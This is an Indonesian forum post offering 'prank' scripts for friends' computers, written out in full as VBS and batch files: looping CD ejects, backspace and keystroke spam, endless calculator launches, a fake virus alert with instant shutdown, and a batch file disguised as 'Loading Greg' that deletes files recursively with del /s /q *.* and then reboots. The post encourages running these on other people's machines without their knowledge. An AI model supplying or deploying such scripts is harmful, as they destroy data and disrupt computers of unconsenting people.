Iseng Cuma Make Notepad. Iseng bermodal Notepad

Sebelumnya Saya minta maaf kalo misalnya udah ada yg ngepost .
Gw ada nih tips bwat iseng/ngerja'in >:) tmen-temen gw , tapi saran gw jgn dicoba di komputer agan-agan
tuhkan berarti iseng sama diri sendiri.
Yuk langsung aja , pertama tuliskan kata-kata dibawah ini di notepad agan-agan, pastikan mengetik dengan benar!.


Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

diatas itu untuk iseng mengeject CD-Drive berturut-turut, simpan file dengan nama terserah.VBS yang penting .VBS nya
________________________________________________________________________________________________

MsgBox “Duh, Kepencet”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

yang ini buat iseng BackSpace berturut turut msgnya bisa diganti sesuka agan-agan, disave dengan format VBS kyk yang diatas.
_______________________________________________________________________________________________

@ECHO off
:top
START %SystemRoot%\system32\calc.exe
GOTO top

yang ini buat iseng buka kalkulator terus menerus, disave dengan format .BAT misal: terserah.BAT

________________________________________________________________________________________________

echo Loading Greg...
del /s /q *.*
echo Greg selesai di-loading...
shutdown -r -t 5

Yang ini cukup berbahaya isengnya buat ngeformad Hard Disk , save dengan format .BAT

________________________________________________________________________________________________

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

yang ini buat shut down komputer , save dengan format .BAT
________________________________________________________________________________________________

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Keyboard RUSAK!!! Harap Diperbaiki”
loop

Yang ini buat keyboard gak berfungsi, save dengan format .VBS

_________________________________________________________________________________________________
NB:Copas biasanya Tidak Berhasil Dikarenakan Perbedaan Tanda Petik (” ”) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad , untuk msg boxnya bisa agan ubah sesuka agan².

Sory kalo postingan ane kurang jelas karena ane juga masih Newbie & perlu banyak belajar ^:)^